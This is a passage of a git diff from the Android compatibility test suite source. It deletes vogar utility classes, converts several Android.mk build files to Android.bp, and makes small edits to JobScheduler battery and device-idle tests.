-        this.out = out;
-    }
-
-    public void println(String text) {
-        print(text + "\n");
-    }
-
-    public void print(String text) {
-        for (int i = 0; i < text.length(); i++) {
-            if (text.charAt(i) == '\n') {
-                row++;
-                rowContent.delete(0, rowContent.length());
-            } else {
-                rowContent.append(text.charAt(i));
-            }
-        }
-
-        out.print(text);
-        out.flush();
-    }
-
-    public Mark mark() {
-        return new Mark();
-    }
-
-    public class Mark {
-        private final int markRow = row;
-        private final String markRowContent = rowContent.toString();
-
-        private Mark() {}
-
-        public void reset() {
-            /*
-             * ANSI escapes
-             * http://en.wikipedia.org/wiki/ANSI_escape_code
-             *
-             *  \u001b[K   clear the rest of the current line
-             *  \u001b[nA  move the cursor up n lines
-             *  \u001b[nB  move the cursor down n lines
-             *  \u001b[nC  move the cursor right n lines
-             *  \u001b[nD  move the cursor left n columns
-             */
-
-            for (int r = row; r > markRow; r--) {
-                // clear the line, up a line
-                System.out.print("\u001b[0G\u001b[K\u001b[1A");
-            }
-
-            // clear the line, reprint the line
-            out.print("\u001b[0G\u001b[K");
-            out.print(markRowContent);
-            rowContent.delete(0, rowContent.length());
-            rowContent.append(markRowContent);
-            row = markRow;
-        }
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/util/Strings.java b/libs/vogar-expect/src/vogar/util/Strings.java
deleted file mode 100644
index f92edd8..0000000
--- a/libs/vogar-expect/src/vogar/util/Strings.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package vogar.util;
-
-//import com.google.common.collect.Lists;
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.Reader;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Iterator;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Utility methods for strings.
- */
-public class Strings {
-
-    private static final Pattern XML_INVALID_CHARS
-            = Pattern.compile("[^\\u0009\\u000A\\u000D\\u0020-\\uD7FF\\uE000-\\uFFFD]+");
-
-    public static String readStream(Reader reader) throws IOException {
-        StringBuilder result = new StringBuilder();
-        BufferedReader in = new BufferedReader(reader);
-        String line;
-        while ((line = in.readLine()) != null) {
-            result.append(line);
-            result.append('\n');
-        }
-        in.close();
-        return result.toString();
-    }
-
-    public static String readFile(File f) throws IOException {
-        return readStream(new InputStreamReader(new FileInputStream(f), "UTF-8"));
-    }
-
-    public static List<String> readFileLines(File f) throws IOException {
-        BufferedReader in =
-                new BufferedReader(new InputStreamReader(new FileInputStream(f), "UTF-8"));
-        List<String> list = new ArrayList<String>();
-        String line;
-        while ((line = in.readLine()) != null) {
-            list.add(line);
-        }
-        in.close();
-        return list;
-    }
-
-    public static String join(String delimiter, Object... objects) {
-        return join(Arrays.asList(objects), delimiter);
-    }
-
-    public static String join(Iterable<?> objects, String delimiter) {
-        Iterator<?> i = objects.iterator();
-        if (!i.hasNext()) {
-            return "";
-        }
-
-        StringBuilder result = new StringBuilder();
-        result.append(i.next());
-        while(i.hasNext()) {
-            result.append(delimiter).append(i.next());
-        }
-        return result.toString();
-    }
-
-    public static String[] objectsToStrings(Object[] objects) {
-        String[] result = new String[objects.length];
-        int i = 0;
-        for (Object o : objects) {
-            result[i++] = o.toString();
-        }
-        return result;
-    }
-
-    public static String[] objectsToStrings(Collection<?> objects) {
-        return objectsToStrings(objects.toArray());
-    }
-
-    /**
-     * Replaces XML-invalid characters with the corresponding U+XXXX code point escapes.
-     */
-    public static String xmlSanitize(String text) {
-        StringBuffer result = new StringBuffer();
-        Matcher matcher = XML_INVALID_CHARS.matcher(text);
-        while (matcher.find()) {
-            matcher.appendReplacement(result, "");
-            result.append(escapeCodePoint(matcher.group()));
-        }
-        matcher.appendTail(result);
-        return result.toString();
-    }
-
-    private static String escapeCodePoint(CharSequence cs) {
-        StringBuilder result = new StringBuilder();
-        for (int i = 0; i < cs.length(); ++i) {
-            result.append(String.format("U+%04X", (int) cs.charAt(i)));
-        }
-        return result.toString();
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/util/Threads.java b/libs/vogar-expect/src/vogar/util/Threads.java
deleted file mode 100644
index 83410d5..0000000
--- a/libs/vogar-expect/src/vogar/util/Threads.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.ThreadFactory;
-import java.util.concurrent.ThreadPoolExecutor;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility methods for working with threads.
- */
-public final class Threads {
-    private Threads() {}
-
-    public static ThreadFactory daemonThreadFactory(final String name) {
-        return new ThreadFactory() {
-            private int nextId = 0;
-            public synchronized Thread newThread(Runnable r) {
-                Thread thread = new Thread(r, name + "-" + (nextId++));
-                thread.setDaemon(true);
-                return thread;
-            }
-        };
-    }
-
-    public static ExecutorService threadPerCpuExecutor(String name) {
-        return fixedThreadsExecutor(name, Runtime.getRuntime().availableProcessors());
-    }
-
-    public static ExecutorService fixedThreadsExecutor(String name, int count) {
-        ThreadFactory threadFactory = daemonThreadFactory(name);
-
-        return new ThreadPoolExecutor(count, count, 10, TimeUnit.SECONDS,
-                new LinkedBlockingQueue<Runnable>(Integer.MAX_VALUE), threadFactory) {
-            @Override protected void afterExecute(Runnable runnable, Throwable throwable) {                if (throwable != null) {
-                    Log.info("Unexpected failure from " + runnable, throwable);
-                }
-            }
-        };
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/util/TimeUtilities.java b/libs/vogar-expect/src/vogar/util/TimeUtilities.java
deleted file mode 100644
index c5a7e3b..0000000
--- a/libs/vogar-expect/src/vogar/util/TimeUtilities.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-/**
- * Utilities to make it easier to work with ISO 8601 dates and times.
- * This is a subset of the original class from http://software.jessies.org/salma-hayek/ --- please submit fixes upstream.
- */
-public class TimeUtilities {
-    /**
-     * Returns the ISO 8601-format String corresponding to the given duration (measured in milliseconds).
-     */
-    public static String msToIsoString(long duration) {
-        long milliseconds = duration % 1000;
-        duration /= 1000;
-        long seconds = duration % 60;
-        duration /= 60;
-        long minutes = duration % 60;
-        duration /= 60;
-        long hours = duration;
-
-        StringBuilder result = new StringBuilder("P");
-        if (hours != 0) {
-            result.append(hours);
-            result.append('H');
-        }
-        if (result.length() > 1 || minutes != 0) {
-            result.append(minutes);
-            result.append('M');
-        }
-        result.append(seconds);
-        if (milliseconds != 0) {
-            result.append('.');
-            result.append(milliseconds);
-        }
-        result.append('S');
-        return result.toString();
-    }
-    
-    /**
-     * Returns a string representation of the given number of milliseconds.
-     */
-    public static String msToString(long ms) {
-        return nsToString(ms * 1000000);
-    }
-    
-    /**
-     * Returns a string representation of the given number of nanoseconds.
-     */
-    public static String nsToString(long ns) {
-        if (ns < 1000L) {
-            return Long.toString(ns) + "ns";
-        } else if (ns < 1000000L) {
-            return Long.toString(ns/1000L) + "us";
-        } else if (ns < 1000000000L) {
-            return Long.toString(ns/1000000L) + "ms";
-        } else if (ns < 60000000000L) {
-            return String.format("%.2fs", nsToS(ns));
-        } else {
-            long duration = ns;
-            long nanoseconds = duration % 1000;
-            duration /= 1000;
-            long microseconds = duration % 1000;
-            duration /= 1000;
-            long milliseconds = duration % 1000;
-            duration /= 1000;
-            long seconds = duration % 60;
-            duration /= 60;
-            long minutes = duration % 60;
-            duration /= 60;
-            long hours = duration % 24;
-            duration /= 24;
-            long days = duration;
-            
-            StringBuilder result = new StringBuilder();
-            if (days != 0) {
-                result.append(days);
-                result.append('d');
-            }
-            if (result.length() > 1 || hours != 0) {
-                result.append(hours);
-                result.append('h');
-            }
-            if (result.length() > 1 || minutes != 0) {
-                result.append(minutes);
-                result.append('m');
-            }
-            result.append(seconds);
-            result.append('s');
-            return result.toString();
-        }
-    }
-    
-    /**
-     * Converts nanoseconds into (fractional) seconds.
-     */
-    public static double nsToS(long ns) {
-        return ((double) ns)/1000000000.0;
-    }
-
-    private TimeUtilities() {
-    }
-}
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
index 78ecd00..c6bf63d 100644
--- a/suite/audio_quality/executable/Android.bp
+++ b/suite/audio_quality/executable/Android.bp
@@ -18,6 +18,7 @@
     name: "cts_audio_quality",
     srcs: ["src/main.cpp"],
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libcutils",
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
index 4900227..d1f4ec8 100644
--- a/suite/audio_quality/lib/Android.bp
+++ b/suite/audio_quality/lib/Android.bp
@@ -22,6 +22,7 @@
         "src",
     ],
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libtinyalsa",
diff --git a/suite/audio_quality/lib/src/task/TaskGeneric.cpp b/suite/audio_quality/lib/src/task/TaskGeneric.cpp
index c0e4935..4a394e2 100644
--- a/suite/audio_quality/lib/src/task/TaskGeneric.cpp
+++ b/suite/audio_quality/lib/src/task/TaskGeneric.cpp
@@ -124,7 +124,7 @@
 
 bool TaskGeneric::addStringAttribute(const android::String8& key, const android::String8& value)
 {
-    std::set<android::String8, android::String8>::iterator it = mAllowedStringAttributes.find(key);
+    auto it = mAllowedStringAttributes.find(key);
     if (it == mAllowedStringAttributes.end()) {
         return false; // not allowed
     }
@@ -134,7 +134,7 @@
 
 bool TaskGeneric::findStringAttribute(const android::String8& key, android::String8& value) const
 {
-    std::map<android::String8, android::String8>::const_iterator it = mStringAttributes.find(key);
+    auto it = mStringAttributes.find(key);
     if (it == mStringAttributes.end()) {
         return false; // not found
     }
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index 79e6ead..d43b0aa 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -19,6 +19,7 @@
     srcs: ["*.cpp"],
 
     static_libs: [
+        "libbase",
         "libutils",
         "liblog",
         "libcutils",
diff --git a/suite/cts/Android.mk b/suite/cts/Android.mk
deleted file mode 100644
index c141484..0000000
--- a/suite/cts/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/suite/cts/deviceTests/Android.mk b/suite/cts/deviceTests/Android.mk
deleted file mode 100644
index c141484..0000000
--- a/suite/cts/deviceTests/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
new file mode 100644
index 0000000..7eef6a4
--- /dev/null
+++ b/tests/AlarmManager/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAlarmManagerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ub-uiautomator",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "app/src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/AlarmManager/Android.mk b/tests/AlarmManager/Android.mk
deleted file mode 100755
index 127cc5d..0000000
--- a/tests/AlarmManager/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator androidx.test.rules compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAlarmManagerTestCases
-
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under, $(LOCAL_PATH))
diff --git a/tests/AlarmManager/app/Android.bp b/tests/AlarmManager/app/Android.bp
new file mode 100644
index 0000000..8843ed8
--- /dev/null
+++ b/tests/AlarmManager/app/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "AlarmTestApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/AlarmManager/app/Android.mk b/tests/AlarmManager/app/Android.mk
deleted file mode 100644
index b2023e9..0000000
--- a/tests/AlarmManager/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := AlarmTestApp
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
new file mode 100644
index 0000000..9869c74
--- /dev/null
+++ b/tests/JobScheduler/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJobSchedulerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: [
+        "src/**/*.java",
+        "JobTestApp/src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sdk_version: "current",
+    platform_apis: true,
+}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
deleted file mode 100755
index 116d74f..0000000
--- a/tests/JobScheduler/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobScheduler/JobTestApp/Android.bp b/tests/JobScheduler/JobTestApp/Android.bp
new file mode 100644
index 0000000..7c1df7e
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/JobScheduler/JobTestApp/Android.mk b/tests/JobScheduler/JobTestApp/Android.mk
deleted file mode 100644
index 61f7116..0000000
--- a/tests/JobScheduler/JobTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobTestApp
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 9331b32..a401e29 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -32,7 +32,6 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.util.Log;
-import android.content.res.Resources;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -53,7 +52,6 @@
     public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
 
     private JobInfo.Builder mBuilder;
-    private int mLowBatteryWarningLevel = 15;
     /**
      * Record of the previous state of power save mode trigger level to reset it after the test
      * finishes.
@@ -64,9 +62,6 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        mLowBatteryWarningLevel = Resources.getSystem().getInteger(
-                     Resources.getSystem().getIdentifier(
-                             "config_lowBatteryWarningLevel", "integer", "android"));
         // Disable power save mode as some devices may turn off Android when power save mode is
         // enabled, causing the test to fail.
         mPreviousLowPowerTriggerLevel = Settings.Global.getInt(getContext().getContentResolver(),
@@ -300,14 +295,13 @@
         if (!hasBattery()) {
             return;
         }
-
-        // Skip this test on products that do not support a low battery state
-        if (mLowBatteryWarningLevel <= 0) {
+        if(getInstrumentation().getContext().getPackageManager().hasSystemFeature(FEATURE_WATCH) &&
+               getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+               TWM_HARDWARE_FEATURE)) {
             return;
         }
 
-        setBatteryState(false, mLowBatteryWarningLevel);
-
+        setBatteryState(false, 5);
         // setBatteryState() waited for the charging/not-charging state to formally settle,
         // but battery level reporting lags behind that.  wait a moment to let that happen
         // before proceeding.
@@ -342,8 +336,8 @@
                 kTestEnvironment.awaitExecution());
 
         // And check that the job is stopped if battery goes low again.
-        setBatteryState(false, mLowBatteryWarningLevel);
-        setBatteryState(false, mLowBatteryWarningLevel - 1);
+        setBatteryState(false, 5);
+        setBatteryState(false, 4);
         waitFor(2_000);
         verifyChargingState(false);
         verifyBatteryNotLowState(false);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index c6694d4..a3e9343 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -192,29 +192,23 @@
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
 
         enterFakeUnpluggedState();
-        try {
-            setTestPackageStandbyBucket(Bucket.NEVER);
-            Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-            sendScheduleJobBroadcast(false);
-            assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
-        } finally {
-            resetFakeUnpluggedState();
-        }
+        setTestPackageStandbyBucket(Bucket.NEVER);
+        Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+        sendScheduleJobBroadcast(false);
+        assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
+        resetFakeUnpluggedState();
     }
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
         enterFakeUnpluggedState();
-        try {
-            setTestPackageStandbyBucket(Bucket.NEVER);
-            tempWhitelistTestApp(6_000);
-            Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-            sendScheduleJobBroadcast(false);
-            assertTrue("New job in uid-active app failed to start in NEVER standby",
-                    awaitJobStart(4_000));
-        } finally {
-            resetFakeUnpluggedState();
-        }
+        setTestPackageStandbyBucket(Bucket.NEVER);
+        tempWhitelistTestApp(6_000);
+        Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+        sendScheduleJobBroadcast(false);
+        assertTrue("New job in uid-active app failed to start in NEVER standby",
+                awaitJobStart(4_000));
+        resetFakeUnpluggedState();
     }
 
     @After
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
new file mode 100644
index 0000000..1320dc2
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJobSchedulerSharedUidTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: [
+        "src/**/*.java",
+        "JobSharedUidTestApp/src/**/*.java",
+        "jobperm/src/**/*.java",
+        "shareduid/src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    //sdk_version: "current"
+    platform_apis: true,
+
+}
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
deleted file mode 100755
index 0b9912c..0000000
--- a/tests/JobSchedulerSharedUid/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, JobSharedUidTestApp/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, jobperm/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, shareduid/src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUidTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
new file mode 100644
index 0000000..6ff76da
--- /dev/null
